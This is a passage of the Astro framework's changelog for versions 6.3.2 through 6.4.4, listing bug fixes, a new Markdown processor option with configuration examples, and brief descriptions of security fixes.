socket-derived URL, causing the two to diverge behind TLS-terminating proxies. - [#&#8203;16997](https://github.com/withastro/astro/pull/16997) [`dc45246`](https://github.com/withastro/astro/commit/dc45246812afcaab60393e5236d27e95f98f5efa) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Reverts a change to `isNode` runtime detection that caused a significant build time regression for Cloudflare adapter users with large prerendered sites ### [`v6.4.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#644) [Compare Source](https://github.com/withastro/astro/compare/astro@6.4.3...astro@6.4.4) ##### Patch Changes - [#&#8203;16926](https://github.com/withastro/astro/pull/16926) [`1b39ae8`](https://github.com/withastro/astro/commit/1b39ae8485406937501d8a734afe2a464d671064) Thanks [@&#8203;narendraio](https://github.com/narendraio)! - Prevents `App.match()` from throwing on request paths that contain an invalid percent-sequence. - [#&#8203;16924](https://github.com/withastro/astro/pull/16924) [`2c0bc94`](https://github.com/withastro/astro/commit/2c0bc943d96d602b429ce3ecbb379d01a46903b5) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes an issue where editing a client-side component (e.g. with `client:idle`, `client:load`, etc.) caused an unnecessary full program reload of the backend during development. - [#&#8203;16958](https://github.com/withastro/astro/pull/16958) [`2c1d50f`](https://github.com/withastro/astro/commit/2c1d50f5f9d557d7cdc17fd75f3a10fd203699c9) Thanks [@&#8203;fkatsuhiro](https://github.com/fkatsuhiro)! - Fixes a bug where static file endpoints using `getStaticPaths` with `.html` in dynamic param values (e.g. `{ path: 'file.html' }`) would fail with a `NoMatchingStaticPathFound` error during build. The `.html` suffix is no longer incorrectly stripped from endpoint route pathnames. - [#&#8203;16855](https://github.com/withastro/astro/pull/16855) [`c610cda`](https://github.com/withastro/astro/commit/c610cda44b273c15a6e7eaa4a84fa194002643e1) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes dynamic routes returning 500 "TypeError: Missing parameter" when using domain-based i18n routing in SSR. - [#&#8203;16946](https://github.com/withastro/astro/pull/16946) [`606c37b`](https://github.com/withastro/astro/commit/606c37b886a9e25170ba82634cc81a8a775e8ac6) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes `Astro.routePattern` to preserve original casing of dynamic parameter names from filenames. Previously, a file at `src/pages/blog/[postId].astro` would return `/blog/[postid]` for `Astro.routePattern` due to an internal `.toLowerCase()` call. It now correctly returns `/blog/[postId]`. - [#&#8203;16720](https://github.com/withastro/astro/pull/16720) [`16d49b6`](https://github.com/withastro/astro/commit/16d49b694071be212fb8c5a141ade72e8717a30e) Thanks [@&#8203;thomas-callahan-collibra](https://github.com/thomas-callahan-collibra)! - Fix an issue where dynamic routes would return the string `[object Object]` instead of the expected content, in certain runtimes. - [#&#8203;16703](https://github.com/withastro/astro/pull/16703) [`17390a6`](https://github.com/withastro/astro/commit/17390a6184d5cbd5ff85b7f652a92f5a6a7b0557) Thanks [@&#8203;henrybrewer00-dotcom](https://github.com/henrybrewer00-dotcom)! - Fixes styles being stripped when the project root is started with a path whose case differs from the actual filesystem case (e.g. running `astro dev` from `d:\dev\app` while the folder on disk is `D:\dev\app`). - [#&#8203;16855](https://github.com/withastro/astro/pull/16855) [`c610cda`](https://github.com/withastro/astro/commit/c610cda44b273c15a6e7eaa4a84fa194002643e1) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes `Astro.currentLocale` returning the default locale instead of the domain's locale on dynamic routes served from a mapped domain. ### [`v6.4.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#643) [Compare Source](https://github.com/withastro/astro/compare/astro@6.4.2...astro@6.4.3) ##### Patch Changes - [#&#8203;16900](https://github.com/withastro/astro/pull/16900) [`17a0fbd`](https://github.com/withastro/astro/commit/17a0fbd34d11db765e79caf269bfd5f43ef51da8) Thanks [@&#8203;ocavue](https://github.com/ocavue)! - Bumps `devalue` dependency to v5.8.1 - [#&#8203;16016](https://github.com/withastro/astro/pull/16016) [`0d85e1b`](https://github.com/withastro/astro/commit/0d85e1b7ea58a243bd1b61bdfb951c4fd87b9db5) Thanks [@&#8203;felmonon](https://github.com/felmonon)! - Fix a false positive in the dev toolbar accessibility audit for anchors with text inside closed `<details>` elements. - [#&#8203;16911](https://github.com/withastro/astro/pull/16911) [`79c6c46`](https://github.com/withastro/astro/commit/79c6c469a735bece8a80200f7b188e15f1abff24) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes a bug where `experimental.advancedRouting` with `astro/hono` handlers threw `TypeError: Cannot read properties of undefined (reading 'route')` for unmatched routes instead of rendering the custom 404 page. - [#&#8203;16899](https://github.com/withastro/astro/pull/16899) [`239c469`](https://github.com/withastro/astro/commit/239c469cd2cd66d147a302a2ca14e07a0891f9b8) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a false "does not call the middleware() handler" warning when using `astro()` in a custom `src/app.ts` and the first request is a redirect route. - [#&#8203;16887](https://github.com/withastro/astro/pull/16887) [`493acdb`](https://github.com/withastro/astro/commit/493acdb4abc56534e9efa68af16e3ef273d7d88b) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes `redirectToDefaultLocale` not working after the Advanced Routing refactoring. - [#&#8203;16908](https://github.com/withastro/astro/pull/16908) [`ef53ab9`](https://github.com/withastro/astro/commit/ef53ab91e8362b50bb1a3ab73d9350b93ea41de4) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves optimized fallbacks generation when using the Fonts API by using better metrics for bold variants ### [`v6.4.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#642) ##### Patch Changes - [#&#8203;16889](https://github.com/withastro/astro/pull/16889) [`b94bcfd`](https://github.com/withastro/astro/commit/b94bcfd8da64a3f2862a20572e7a9847aebdbc70) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes a `plugins is not iterable` crash when using a pre-6.0 `@astrojs/mdx` alongside integrations (e.g. Starlight) that set `markdown.remarkPlugins`, `markdown.rehypePlugins`, or `markdown.remarkRehype`. - [#&#8203;16878](https://github.com/withastro/astro/pull/16878) [`b9f6bb9`](https://github.com/withastro/astro/commit/b9f6bb9a238b909d491ca4a7a99620908faf58a8) Thanks [@&#8203;fkatsuhiro](https://github.com/fkatsuhiro)! - Fixes an issue where on-demand (SSR) dynamic routes would return 404 when a prerendered dynamic route with the same URL pattern was sorted first alphabetically. In production builds with `@astrojs/node` adapter, if `[a_prebuild].astro` (prerender=true) came before `[b_ssr].astro` alphabetically, requests to URLs not in the prerendered route's static paths would 404 instead of falling through to the SSR route. The fix adds fallthrough logic so that when a prerendered dynamic route matches but can't serve the request, Astro tries subsequent matching routes. ### [`v6.4.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#641) ##### Patch Changes - [#&#8203;16883](https://github.com/withastro/astro/pull/16883) [`eeb064c`](https://github.com/withastro/astro/commit/eeb064ca9452fd9d0ad9b7557059a646a90a3e57) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Restores the `astro/jsx/rehype.js` entry point so that older versions of `@astrojs/mdx` continue to work when used with Astro 6.x. This entry point will be removed in Astro 7.0. ### [`v6.4.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#640) [Compare Source](https://github.com/withastro/astro/compare/astro@6.3.8...astro@6.4.0) ##### Minor Changes - [#&#8203;16468](https://github.com/withastro/astro/pull/16468) [`4cff3a1`](https://github.com/withastro/astro/commit/4cff3a107c3750ab5f0878a6b41836705282b771) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds a new `preserveBuildServerDir` adapter feature Adapters can now set `preserveBuildServerDir: true` in their adapter features to keep the `dist/server/` directory structure for static builds, mirroring the existing `preserveBuildClientDir` option. This is useful for adapters that require a consistent `dist/client/` and `dist/server/` layout regardless of build output type. ```js setAdapter({ name: 'my-adapter', adapterFeatures: { buildOutput, preserveBuildClientDir: true, preserveBuildServerDir: true, }, }); ``` - [#&#8203;16848](https://github.com/withastro/astro/pull/16848) [`f732f3c`](https://github.com/withastro/astro/commit/f732f3cc716342a63e5b03815243ba10964b89dc) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds a new `markdown.processor` configuration option, allowing you to choose an alternative Markdown processor. Websites with many Markdown/MDX files tend to be slow to build because the unified ecosystem (e.g., remark, rehype) is slow to process. This feature introduces the ability to replace this part of the build pipeline with another processor. The default processor is `unified()`. This means that existing configurations remain unchanged and your remark/rehype plugins continue to work. ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import { unified } from '@&#8203;astrojs/markdown-remark'; import remarkToc from 'remark-toc'; export default defineConfig({ markdown: { processor: unified({ remarkPlugins: [remarkToc], }), }, }); ``` In addition to this new configuration option, Astro provides a new alternative processor based on Rust: [Sätteri](https://satteri.bruits.org/). You can choose to use it now by installing `@astrojs/markdown-satteri`, importing the `satteri()` processor, and adapting your existing configuration: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import { satteri } from '@&#8203;astrojs/markdown-satteri'; export default defineConfig({ markdown: { processor: satteri({ features: { directive: true }, }), }, }); ``` This processor does not support the remark and rehype plugins. This means you may need to convert them to [MDAST or HAST plugins](https://satteri.bruits.org/docs/plugins/) to retain your current functionality. The existing top-level `markdown.remarkPlugins`, `markdown.rehypePlugins`, `markdown.remarkRehype`, `markdown.gfm`, and `markdown.smartypants` options still work, but are now deprecated and will be removed in a future major update. The matching `remarkPlugins`, `rehypePlugins`, and `remarkRehype` options on the MDX integration are also deprecated for the same reason. To anticipate their removal, move them onto `unified({...})` (or your preferred plugin processor) : ```diff // astro.config.mjs import { defineConfig } from 'astro/config'; import remarkToc from 'remark-toc'; import rehypeSlug from 'rehype-slug'; + import { unified } from '@&#8203;astrojs/markdown-remark'; export default defineConfig({ markdown: { + processor: unified({ + remarkPlugins: [remarkToc], + rehypePlugins: [rehypeSlug], + remarkRehype: true, + gfm: true, + smartypants: true, + }), - remarkPlugins: [remarkToc], - rehypePlugins: [rehypeSlug], - remarkRehype: true, - gfm: true, - smartypants: true, }, }); ``` For more information on enabling and using this feature in your project, see our [Markdown guide](https://docs.astro.build/en/guides/markdown-content/). To give feedback on this new Rust processor, see the [Native Markdown / MDX parsing and processing RFC](https://github.com/withastro/roadmap/pull/1364). ##### Patch Changes - [#&#8203;16468](https://github.com/withastro/astro/pull/16468) [`4cff3a1`](https://github.com/withastro/astro/commit/4cff3a107c3750ab5f0878a6b41836705282b771) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Skips the static preview server when an adapter provides its own `previewEntrypoint`, allowing the adapter to handle both static and dynamic routes - [#&#8203;16811](https://github.com/withastro/astro/pull/16811) [`e0e26db`](https://github.com/withastro/astro/commit/e0e26dbfe95f9d42f51ad414dbe877e60cbc637d) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `X-Forwarded-Host` and `X-Forwarded-Proto` headers being ignored when set in a custom `src/app.ts` fetch handler before creating `FetchState` - [#&#8203;16468](https://github.com/withastro/astro/pull/16468) [`4cff3a1`](https://github.com/withastro/astro/commit/4cff3a107c3750ab5f0878a6b41836705282b771) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes the static preview server to respect `preserveBuildClientDir`, serving files from `build.client` instead of `outDir` when the adapter requires it - [#&#8203;16770](https://github.com/withastro/astro/pull/16770) [`1e2aa11`](https://github.com/withastro/astro/commit/1e2aa11caf8e7a48f37dd614fd2d4c15cc7a8439) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a race condition where the Vite dep optimizer could lose React dependencies in dev mode when using Astro Actions - [#&#8203;16468](https://github.com/withastro/astro/pull/16468) [`4cff3a1`](https://github.com/withastro/astro/commit/4cff3a107c3750ab5f0878a6b41836705282b771) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Exempts internal routes (e.g. server islands) from `getStaticPaths()` validation, fixing server island rendering on static sites - [#&#8203;16468](https://github.com/withastro/astro/pull/16468) [`4cff3a1`](https://github.com/withastro/astro/commit/4cff3a107c3750ab5f0878a6b41836705282b771) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes preview for static sites that contain non-prerendered routes. Previously, the preview command ignored SSR routes discovered during route scanning and always used the static preview server. - Updated dependencies \[[`f732f3c`](https://github.com/withastro/astro/commit/f732f3cc716342a63e5b03815243ba10964b89dc), [`f732f3c`](https://github.com/withastro/astro/commit/f732f3cc716342a63e5b03815243ba10964b89dc)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.10.0 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;7.2.0 ### [`v6.3.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#638) [Compare Source](https://github.com/withastro/astro/compare/astro@6.3.7...astro@6.3.8) ##### Patch Changes - [#&#8203;16830](https://github.com/withastro/astro/pull/16830) [`f2bf3cb`](https://github.com/withastro/astro/commit/f2bf3cb257788ff657ffbe9044fe6225e6662cb7) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes 404s for dynamically imported JS chunks when using an adapter with `assetQueryParams` (e.g. Vercel skew protection) - [#&#8203;16831](https://github.com/withastro/astro/pull/16831) [`ace96ba`](https://github.com/withastro/astro/commit/ace96ba5024129cbeb9d8e75134f4f8bdf42a57a) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes a misleading `GetStaticPathsRequired` error when a redirect is configured from a dynamic route to a static (or less-dynamic) destination. For example, `'/project/[slug]': '/'` previously produced a confusing error pointing at `index.astro`. Astro now detects the parameter mismatch at config validation time and throws a clear `InvalidRedirectDestination` error naming the missing parameters. - [#&#8203;16702](https://github.com/withastro/astro/pull/16702) [`b7d1758`](https://github.com/withastro/astro/commit/b7d1758efbe0544520b4b15577d2e0dd944bf8a1) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes scoped styles from `.astro` components being dropped when rendered inside MDX content (`<Content />` from `render(entry)`) passed through a named slot using `<Fragment slot="X">`. The Fragment component now eagerly evaluates its slot contents to ensure propagating components register their styles before head content is flushed. - [#&#8203;16823](https://github.com/withastro/astro/pull/16823) [`3df6a45`](https://github.com/withastro/astro/commit/3df6a453243ff4d1d983d0fb6d259617f50be211) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes missing CSS for conditionally rendered Svelte components in production builds - [#&#8203;16836](https://github.com/withastro/astro/pull/16836) [`3d7adfa`](https://github.com/withastro/astro/commit/3d7adfae7d063661d85d92061a15f728fa5df2bd) Thanks [@&#8203;LongYC](https://github.com/LongYC)! - Document compressHTML: "jsx" config is only available since Astro v6.2.0 - [#&#8203;16864](https://github.com/withastro/astro/pull/16864) [`334ce13`](https://github.com/withastro/astro/commit/334ce135807666df283dc4cd4d5f6dad1b1b80cc) Thanks [@&#8203;cheets](https://github.com/cheets)! - Fixes a false-positive `Internal Warning: route cache overwritten` logged on every SSR request for dynamic routes ### [`v6.3.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#637) [Compare Source](https://github.com/withastro/astro/compare/astro@6.3.6...astro@6.3.7) ##### Patch Changes - [#&#8203;16821](https://github.com/withastro/astro/pull/16821) [`9c76b12`](https://github.com/withastro/astro/commit/9c76b12052c445416df6b034d7b6df66957a0503) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes request body handling in the Node adapter when `req.body` is a `Buffer`, `Uint8Array`, or `ArrayBuffer`. Previously, binary body data was incorrectly JSON-stringified (producing `{"type":"Buffer","data":[...]}`) instead of being passed through directly. This affected libraries like `serverless-http` that set `req.body` to a `Buffer`. - [#&#8203;16785](https://github.com/withastro/astro/pull/16785) [`de96360`](https://github.com/withastro/astro/commit/de963608d82e9bab74896945aa6503ba164ddbb0) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes `vite.build.minify`, `vite.build.sourcemap`, and `vite.build.rollupOptions.output` (e.g. `compact`) being ignored for client-side builds. These top-level Vite build options are now properly forwarded to the client environment, with environment-specific overrides (`vite.environments.client.build.*`) taking priority when set. - [#&#8203;16819](https://github.com/withastro/astro/pull/16819) [`b5dd8f1`](https://github.com/withastro/astro/commit/b5dd8f1e82813a646c4c61510764fc83b2fcafd4) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes custom elements in MDX files bypassing the renderer pipeline. Custom elements (tags containing hyphens like `<my-element>`) in `.mdx` files are now routed through registered renderers for SSR, matching the behavior of `.astro` files. If no renderer claims the element, it falls back to rendering as raw HTML. - [#&#8203;16808](https://github.com/withastro/astro/pull/16808) [`765896c`](https://github.com/withastro/astro/commit/765896cd4d03755093d6c9f47d69285ac910b848) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes dynamic routes returning 400 Bad Request when the URL contains a literal `%` character, such as paths built with `encodeURIComponent('%?.pdf')` - [#&#8203;16804](https://github.com/withastro/astro/pull/16804) [`90d2aca`](https://github.com/withastro/astro/commit/90d2aca7536e600062e6b9d787ef7e60990a23fe) Thanks [@&#8203;jp-knj](https://github.com/jp-knj)! - Fixes a v6 regression where `astro:i18n` could not be imported from client `<script>` blocks. ### [`v6.3.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#636) [Compare Source](https://github.com/withastro/astro/compare/astro@6.3.5...astro@6.3.6) ##### Patch Changes - [#&#8203;16774](https://github.com/withastro/astro/pull/16774) [`8f77583`](https://github.com/withastro/astro/commit/8f7758313df4af52e83e039bb64c41006de93c4e) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes markdown images with empty alt text (`![](image.jpg)`) in content collections dropping the `alt` attribute entirely. The `alt=""` attribute is now correctly preserved in the rendered HTML output, which is important for accessibility (indicating decorative images). - [#&#8203;16776](https://github.com/withastro/astro/pull/16776) [`3d10b5e`](https://github.com/withastro/astro/commit/3d10b5e16256ff9999e757f86cf2c4f04c36a311) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes HMR serving stale content when components are passed as props via `getStaticPaths()` - [#&#8203;16784](https://github.com/withastro/astro/pull/16784) [`7453860`](https://github.com/withastro/astro/commit/7453860fb4fb34017365c135678bfd76f1f9aeb5) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Improved the printing of the build time if it goes over the 60 seconds. - [#&#8203;16665](https://github.com/withastro/astro/pull/16665) [`3dbbcee`](https://github.com/withastro/astro/commit/3dbbcee0a7015867cb1b6770440ba51d1eee3445) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes remote SVG sources erroring with `dangerouslyProcessSVG` after the v6.3 SVG-processing gate. The default Sharp service now resolves the output format from the source up-front when it can (URL extension, `data:` MIME, ESM metadata), and from the actual buffer at request time when it can't, so SVG sources pass through untouched without needing to set `image.dangerouslyProcessSVG: true` or an explicit `format="svg"`. The error message has also been updated to point at `format="svg"` as the simpler workaround when an SVG source is encountered without `dangerouslyProcessSVG` enabled. - [#&#8203;16777](https://github.com/withastro/astro/pull/16777) [`1754b91`](https://github.com/withastro/astro/commit/1754b91dec1e5d9839ddfc39fbf2ee1fbb9391a4) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes HMR serving stale content for dynamically imported components through barrel files - [#&#8203;16730](https://github.com/withastro/astro/pull/16730) [`068d924`](https://github.com/withastro/astro/commit/068d924402dced7670530774f36cca301f91e60c) Thanks [@&#8203;harshagarwalnyu](https://github.com/harshagarwalnyu)! - Fixes an issue where the `file()` content loader did not generate a valid JSON Schema for collections whose JSON or YAML data is a top-level array instead of an object. ### [`v6.3.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#635) [Compare Source](https://github.com/withastro/astro/compare/astro@6.3.4...astro@6.3.5) ##### Patch Changes - [#&#8203;16771](https://github.com/withastro/astro/pull/16771) [`07c8805`](https://github.com/withastro/astro/commit/07c880500926e3337798ca906d9422c880c6e148) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes `position` prop on `<Image>` and `<Picture>` components breaking Content Security Policy (CSP). - [#&#8203;16593](https://github.com/withastro/astro/pull/16593) [`50924ce`](https://github.com/withastro/astro/commit/50924cea1faf32b8c14b031936e93812033b04ca) Thanks [@&#8203;yanthomasdev](https://github.com/yanthomasdev)! - Improves error messages with more consistent and correct writing. - [#&#8203;16757](https://github.com/withastro/astro/pull/16757) [`5d661cd`](https://github.com/withastro/astro/commit/5d661cd226cd9abb4f0f352231f2f68feec52ab4) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes dev server serving stale content when SSR-only modules change (e.g. `.astro` files outside the project root in a monorepo, or dynamically imported components). Previously, the `astro:hmr-reload` plugin returned an empty array after detecting SSR-only module changes, which prevented Vite's `updateModules` from propagating the invalidation to the SSR module runner. The runner's evaluated module cache stayed stale, so subsequent requests continued returning old content. Now the plugin returns the SSR-only modules so Vite can process them through `updateModules`, which properly invalidates the module runner's cache and ensures fresh content on the next request. ### [`v6.3.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#634) [Compare Source](https://github.com/withastro/astro/compare/astro@6.3.3...astro@6.3.4) ##### Patch Changes - [#&#8203;16723](https://github.com/withastro/astro/pull/16723) [`0f10bfe`](https://github.com/withastro/astro/commit/0f10bfe70d443ebe5474a72f59c3a3e745831b98) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds `fetchFile` option to `experimental.advancedRouting` to customize or disable the entrypoint file ```js export default defineConfig({ experimental: { advancedRouting: { fetchFile: 'fetch.ts', }, }, }); ``` - [#&#8203;16723](https://github.com/withastro/astro/pull/16723) [`0f10bfe`](https://github.com/withastro/astro/commit/0f10bfe70d443ebe5474a72f59c3a3e745831b98) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes Hono `cache()` middleware to follow the standard wrapper pattern - [#&#8203;16723](https://github.com/withastro/astro/pull/16723) [`0f10bfe`](https://github.com/withastro/astro/commit/0f10bfe70d443ebe5474a72f59c3a3e745831b98) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds `App.Providers` interface for typing custom context providers on `Astro` and `ctx` ```ts declare namespace App { interface Providers { oauth: import('./lib/oauth').OAuthSession; } } ``` - [#&#8203;16723](https://github.com/withastro/astro/pull/16723) [`0f10bfe`](https://github.com/withastro/astro/commit/0f10bfe70d443ebe5474a72f59c3a3e745831b98) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds `FetchState.response` property, set automatically after `pages()` or `middleware()` completes ```ts const response = await middleware(state, (s) => pages(s)); console.log(state.response === response); // true ``` - [#&#8203;16723](https://github.com/withastro/astro/pull/16723) [`0f10bfe`](https://github.com/withastro/astro/commit/0f10bfe70d443ebe5474a72f59c3a3e745831b98) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds `Fetchable` type export for typing the advanced routing entrypoint ```ts import type { Fetchable } from 'astro'; export default { async fetch(request) { return new Response('ok'); }, } satisfies Fetchable; ``` - [#&#8203;16572](https://github.com/withastro/astro/pull/16572) [`4a5a077`](https://github.com/withastro/astro/commit/4a5a0779712be11680a9fc729be2ba9dd93f68d2) Thanks [@&#8203;DORI2001](https://github.com/DORI2001)! - Suppresses `[WARN] Vite warning: unused imports from "@&#8203;astrojs/internal-helpers/remote"` during prerender builds. The package is now bundled alongside `astro` in the prerender environment, matching how it is handled in the SSR environment. - [#&#8203;16756](https://github.com/withastro/astro/pull/16756) [`b6ee23d`](https://github.com/withastro/astro/commit/b6ee23d339311c356ad25781f62454aee289e47b) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes styles from Markdoc/MDX custom components not being extracted to `<head>` in the dev server when using the Cloudflare adapter with `prerenderEnvironment: 'node'` and rendering content through a wrapper component. - [#&#8203;16747](https://github.com/withastro/astro/pull/16747) [`904d19a`](https://github.com/withastro/astro/commit/904d19a73e91dc166c492905ebf6c81705fa7064) Thanks [@&#8203;astrobot-houston](https://github.com/astrobot-houston)! - Fixes Astro action requests failing in `astro dev` when using the Cloudflare adapter with `prerenderEnvironment: 'node'` alongside a prerendered catch-all route such as `[...page].astro`. Actions and other SSR POST endpoints now continue to work in dev instead of returning an HTTP 500 error. - [#&#8203;16701](https://github.com/withastro/astro/pull/16701) [`3495ce4`](https://github.com/withastro/astro/commit/3495ce4f3af103673e32b6fdd452e4108252e1b5) Thanks [@&#8203;demaisj](https://github.com/demaisj)! - Fix `Map` and `Set` instances saved in a content collection being broken when retrieving entries. - [#&#8203;16614](https://github.com/withastro/astro/pull/16614) [`fca1c32`](https://github.com/withastro/astro/commit/fca1c32c329f6044c6833debdb9d683dd2103fc9) Thanks [@&#8203;Eptagone](https://github.com/Eptagone)! - Fixes `entry.data` type inference when a live collection is configured without a schema. - [#&#8203;16661](https://github.com/withastro/astro/pull/16661) [`03b8f7f`](https://github.com/withastro/astro/commit/03b8f7f7644cc1d9e738a8221d6bd377399538c0) Thanks [@&#8203;ocavue](https://github.com/ocavue)! - Updates `typescript` to v6. No changes are needed from users. - [#&#8203;16681](https://github.com/withastro/astro/pull/16681) [`c22770a`](https://github.com/withastro/astro/commit/c22770a58c3b312ad4bba81707be72f551ee02db) Thanks [@&#8203;dotnetCarpenter](https://github.com/dotnetCarpenter)! - Fixes an issue where SVG images with `width="0"` or `height="0"` incorrectly threw a `NoImageMetadata` error instead of being treated as valid dimensions. ### [`v6.3.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#633) [Compare Source](https://github.com/withastro/astro/compare/astro@6.3.2...astro@6.3.3) ##### Patch Changes - [#&#8203;16737](https://github.com/withastro/astro/pull/16737) [`bd84f33`](https://github.com/withastro/astro/commit/bd84f33d68cfa7d077e0a638970e28b0a9bd83db) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a reflected XSS vulnerability where slot names on hydrated components were not HTML-escaped in SSR output ### [`v6.3.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#632) [Compare Source](https://github.com/withastro/astro/compare/astro@6.3.1...astro@6.3.2) ##### Patch Changes - [#&#8203;16675](https://github.com/withastro/astro/pull/16675) [`11d4592`](https://github.com/withastro/astro/commit/11d4592e9498e900b433ba94abed9cd615a9350b) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a regression where `Astro.cache` was `undefined` when `experimental.cache` was not configured. The previous documented behavior is for `Astro.cache` to always be defined as a no-op shim: `cache.set()` warns once, `cache.invalidate()` throws and `cache.enabled` can be used to gate. This allows library and user code can call cache methods without conditional checks. The cache provider registration was being gated at the call site on `experimental.cache` being configured, which meant the disabled shim branch inside the provider was unreachable and the `Astro.cache` getter was never attached to the context. - [#&#8203;16691](https://github.com/withastro/astro/pull/16691) [`0f0a4ce`](https://github.com/withastro/astro/commit/0f0a4ce1b28a6d6ec1658c7f59e0e68408935135) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `HTMLElement is not defined` error during HMR when using components with client-side scripts (e.g. Starlight `<Tabs>`) and the Cloudflare adapter - [#&#8203;16562](https://github.com/withastro/astro/pull/16562) [`07529ec`](https://github.com/withastro/astro/commit/07529eccdaef8727a375475e6d04071b770114a1) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes non-prerendered routes failing when a dynamic prerendered route exists in the same project with `prerenderEnvironment: 'node'` - [#&#8203;16638](https://github.com/withastro/astro/pull/16638) [`272185b`](https://github.com/withastro/astro/commit/272185bcccf6a4adcd7575f319bf91f2e5306c6d) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the Astro compiler wasn't freed at the end of the build. After the fix, the memory used by the compiler is now correctly freed at the end of the build. - [#&#8203;16544](https://github.com/withastro/astro/pull/16544) [`d365c97`](https://github.com/withastro/astro/commit/d365c975ba2d88fc1dbdfe698df2bf9e2eafadce) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Tightens `isRemotePath()` to reject control characters after a leading slash and fixes the dev image endpoint origin check - [#&#8203;16685](https://github.com/withastro/astro/pull/16685) [`889e748`](https://github.com/withastro/astro/commit/889e748f1546eabc325d5112f95bc78e402fd4f0) Thanks [@&#8203;farrosfr](https://github.com/farrosfr)! - Improve validation messages for `security.csp.directives` when `script-src` or `style-src` are incorrectly placed in the `directives` array. - [#&#8203;16605](https://github.com/withastro/astro/pull/16605) [`772f13a`](https://github.com/withastro/astro/commit/772f13a153db235a232a86dc533df3b07a1a09a0) Thanks [@&#8203;rururux](https://github.com/rururux)! - Fixes `assetsPrefix` not being available on `build` from `astro:config/server`. - [#&#8203;16556](https://github.com/withastro/astro/pull/16556) [`f38dec7`](https://github.com/withastro/astro/commit/f38dec76a48234ae6919a118f3d626c6ed3d4e80) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Rejects double-encoded URL paths with a 400 response instead of silently falling back to partial decoding - [#&#8203;16659](https://github.com/withastro/astro/pull/16659) [`38bcb25`](https://github.com/withastro/astro/commit/38bcb25282d1f794b7dff349071b089a2737f0aa) Thanks [@&#8203;jsparkdev](https://github.com/jsparkdev)! - Fixes `&` characters appearing as raw entity strings (e.g. `&#&#8203;38;`) in `<meta>` tags when viewed in link previews or raw HTML. - Updated dependencies \[[`d365c97`](https://github.com/withastro/astro/commit/d365c975ba2d88fc1dbdfe698df2bf9e2eafadce), [`9256345`](https://github.com/withastro/astro/commit/92563452ce866d9f9b950ad4b2adc808d10e8014)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.9.1 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;7.1.2 ### 